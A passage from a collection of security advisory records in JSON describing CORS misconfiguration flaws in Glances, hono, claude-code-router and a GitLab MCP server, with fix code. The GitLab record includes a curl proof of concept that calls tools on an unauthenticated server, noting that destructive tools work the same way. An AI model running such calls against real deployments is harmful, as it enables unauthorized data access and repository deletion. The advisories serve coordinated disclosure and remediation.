Starlette\u0027s `CORSMiddleware`):\n\n```python\n# server.py  \u2014 replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or \u0027*\u0027 in self.cors_origins:\n        return \u0027*\u0027\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get(\u0027Origin\u0027, \u0027\u0027)\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header(\u0027Access-Control-Allow-Origin\u0027, acao)\n    self.send_header(\u0027Vary\u0027, \u0027Origin\u0027)\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette\u0027s `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-87qc-fj39-wccr",
  "modified": "2026-07-21T14:44:09Z",
  "published": "2026-06-22T21:27:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46608"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-87qc-fj39-wccr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2495.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/glances"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:15:39Z",
    "nvd_published_at": "2026-06-22T18:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWith `credentials: true` and no explicit `origin` (the default wildcard), the CORS Middleware reflects the request\u0027s `Origin` and sends `Access-Control-Allow-Credentials: true`. Any site can then make credentialed cross-origin requests and read the responses, exposing cookie-authenticated endpoints to arbitrary origins.\n\n### Details\n\nThe spec forbids `Access-Control-Allow-Origin: *` with credentials and browsers reject it, so this configuration used to fail closed. In affected versions the middleware reflects the request `Origin` instead, so it now succeeds for every origin, including `null`. The preflight also echoes the requested headers back, approving non-simple credentialed requests too.\n\nThis issue arises when an application enables `credentials: true` and leaves `origin` unset or set to the wildcard.\n\n### Impact\n\nAny third-party page a logged-in user visits can read the application\u0027s cookie-authenticated endpoints and perform credentialed state-changing requests. This affects applications that enable credentialed CORS without restricting `origin`.",
  "id": "GHSA-88fw-hqm2-52qc",
  "modified": "2026-07-21T15:27:03Z",
  "published": "2026-06-16T14:15:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-88fw-hqm2-52qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54290"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "hono: CORS Middleware reflects any Origin with credentials when `origin` defaults to the wildcard"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@musistudio/claude-code-router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:54:24Z",
    "nvd_published_at": "2025-08-21T17:15:31Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nDue to improper Cross-Origin Resource Sharing (CORS) configuration, there is a risk that user API Keys or equivalent credentials may be exposed to untrusted domains. Attackers could exploit this misconfiguration to steal credentials, abuse accounts, exhaust quotas, or access sensitive data.\n\n### Patches\nThe issue has been patched in v1.0.34.",
  "id": "GHSA-8hmm-4crw-vm2c",
  "modified": "2025-08-21T19:17:34Z",
  "published": "2025-08-21T14:54:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/musistudio/claude-code-router/security/advisories/GHSA-8hmm-4crw-vm2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/musistudio/claude-code-router/issues/549"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/musistudio/claude-code-router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@musistudio/claude-code-router has improper CORS configuration"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@yoda.digital/gitlab-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:10:28Z",
    "nvd_published_at": "2026-05-26T22:16:42Z",
    "severity": "HIGH"
  },
  "details": "## SSE Transport Has No Authentication and Wildcard CORS, Exposing All 86 GitLab Tools Including Destructive Operations\n\nA review of `mcp-gitlab-server` at commit `80a7b4cf3fba6b55389c0ef491a48190f7c8996a` uncovered that the SSE HTTP transport \u2014 advertised in the README and comparison table as a differentiating feature \u2014 runs with no authentication and wildcard CORS on every endpoint. The maintainers\u0027 own roadmap confirms auth is a known gap.\n\nWhen `USE_SSE=true`, the HTTP server in `src/transport.ts` sets:\n\n```typescript\nres.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\nres.setHeader(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST\u0027);\nres.setHeader(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type\u0027);\n```\n\nThe `httpServer.listen(port)` call at line 97 passes no host argument \u2014 Node.js defaults to `0.0.0.0`, binding on all interfaces. Two endpoints are exposed with no credential check:\n\n- `GET /sse` \u2014 opens an SSE connection, returns a session endpoint URL\n- `POST /messages?sessionId=\u003cid\u003e` \u2014 sends MCP messages to the server using the loaded `GITLAB_PERSONAL_ACCESS_TOKEN`\n\nAny caller who can reach the port \u2014 LAN, cloud instance, or via the browser-tab vector the wildcard CORS enables \u2014 gets full access to all 86 tools the server exposes using the operator\u0027s GitLab PAT. That includes `delete_repository`, `delete_group`, `push_files`, `create_merge_request`, `update_repository_settings`, and any other tool the server exposes. The PAT doesn\u0027t leave the process, but every API call it backs is available to the unauthenticated caller.\n\nThe wildcard CORS makes the browser-tab vector direct: any web page the operator visits while the server is running can open an SSE connection and make tool calls via cross-origin fetch. No user interaction beyond visiting the page.\n\n**PoC \u2014 reproduces from the documented USE_SSE=true configuration:**\n\n```bash\n# Step 1: connect SSE and capture the session endpoint\ncurl -N http://localhost:3000/sse \u0026\n# Output includes: event: endpoint\n#                  data: /messages?sessionId=\u003cUUID\u003e\n\n# Step 2: call any tool \u2014 no auth header needed\ncurl -X POST \"http://localhost:3000/messages?sessionId=\u003cUUID\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"get_repository\",\n      \"arguments\": {\"project_id\": \"target-org/private-repo\"}\n    }\n  }\u0027\n# Returns repository data using the operator\u0027s GitLab PAT\n\n# Same path works for delete_repository, push_files, etc.\n```\n\n## Root cause\n\nThe HTTP transport in `src/transport.ts` ships with no authentication layer at all and a wildcard `Access-Control-Allow-Origin: *` on every response. The structural defect is that the SSE server stands up a stateful, mutation-capable RPC endpoint that is backed by the operator\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` without any inbound credential check, then advertises itself to every cross-origin browser context via the wildcard CORS header. The `httpServer.listen(port)` call at line 97 also passes no host argument, so the bind defaults to `0.0.0.0` and exposes the auth-less surface on every interface. Auth isn\u0027t fail-opening on a missing config \u2014 there is no auth check at any code path on either `/sse` or `/messages?sessionId=...`.\n\n## Auth boundary violated\n\nTrust-domain boundary \u2014 untrusted cross-origin browser context (and any unauthenticated network caller) crossing into the trusted server-state-mutating GitLab API surface that the operator\u0027s PAT backs. Respected-here: nothing. The transport carries no `Authorization` check, no origin allowlist, no session-binding to the originating client, and no host restriction. Ignored-there: the SSE handler at `src/transport.ts` accepts an arbitrary `Origin` (since `Access-Control-Allow-Origin: *`), opens a session, and the matching `POST /messages?sessionId=...` proxies tool calls \u2014 including `delete_repository`, `push_files`, `update_repository_settings` \u2014 to the GitLab API using the operator\u0027s PAT. Any web page the operator visits while the server runs can drive the full 86-tool surface via cross-origin fetch.\n\nThe roadmap in `README.md` at line 190 includes `- [ ] SAML/OAuth3 authentication` \u2014 confirming the maintainers are already tracking this gap. The issue is disclosure of impact in the interim: operators who follow the README\u0027s SSE setup instructions and don\u0027t see an auth requirement in the docs may reasonably assume the transport is safe to use on a network-accessible host.\n\n**CVSS 4.0:** `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N` \u2014 **~6.3 (Medium)**. `AT:P` reflects the `USE_SSE=true` precondition. When that precondition is met, the effective severity for those deployments is High \u2014 full GitLab PAT access without authentication. The Medium CVSS is the aggregate across all deployments; for any operator who has activated SSE mode (which the README promotes as a feature), the finding is functionally High.\n\n**Fix \u2014 four concrete changes:**\n\n1. Require `MCP_GITLAB_AUTH_TOKEN` as a startup precondition when `USE_SSE=true`. If the env var is unset, the server should exit with a clear message before the HTTP server starts:\n\n   ```typescript\n   if (process.env.USE_SSE === \u0027true\u0027) {\n     if (!process.env.MCP_GITLAB_AUTH_TOKEN) {\n       console.error(\n         \u0027ERROR: MCP_GITLAB_AUTH_TOKEN must be set when USE_SSE=true. \u0027 +\n         \u0027SSE transport without authentication exposes all GitLab tools to unauthenticated callers.\u0027\n       );\n       process.exit(1);\n     }\n   }\n   ```\n\n   The token check in `src/transport.ts` validates it on every request:\n   ```typescript\n   const authToken = process.env.MCP_GITLAB_AUTH_TOKEN;\n   if (authToken) {\n     const provided = req.headers[\u0027authorization\u0027]?.replace(/^Bearer /, \u0027\u0027);\n     if (provided !== authToken) {\n       res.writeHead(401);\n       res.end(JSON.stringify({ error: \u0027Unauthorized\u0027 }));\n       return;\n     }\n   }\n   ```\n\n2. Bind to `127.0.0.1` by default for the SSE transport rather than `0.0.0.0`. An explicit `MCP_GITLAB_HOST=0.0.0.0` flag with a startup banner warning can expose it to the network for operators who need that \u2014 but the safe default should be loopback-only.\n\n3. Replace the wildcard `Access-Control-Allow-Origin: *` with a localhost-only default. When network exposure is intentional (explicit flag + auth token set), an explicit `CORS_ORIGINS` allowlist should be required.\n\n4. The SAML/OAuth3 roadmap item is the right long-term direction. In the interim \u2014 before that ships \u2014 the three changes above are entirely in the existing codebase with no new dependencies.\n\n---\n\nNo prior security advisories, CVEs, or public security issues exist for this package \u2014 a search of the repository issue list and npm advisory database did not yield any duplicate issues.",
  "id": "GHSA-8jr5-6gvj-rfpf",
  "modified": "2026-06-08T23:34:55Z",
  "published": "2026-05-09T00:10:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yoda-digital/mcp-gitlab-server/security/advisories/GHSA-8jr5-6gvj-rfpf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44895"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yoda-digital/mcp-gitlab-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@yoda.digital/gitlab-mcp-server\u0027s SSE transport has no authentication and wildcard CORS, exposing all 86 GitLab tools"
}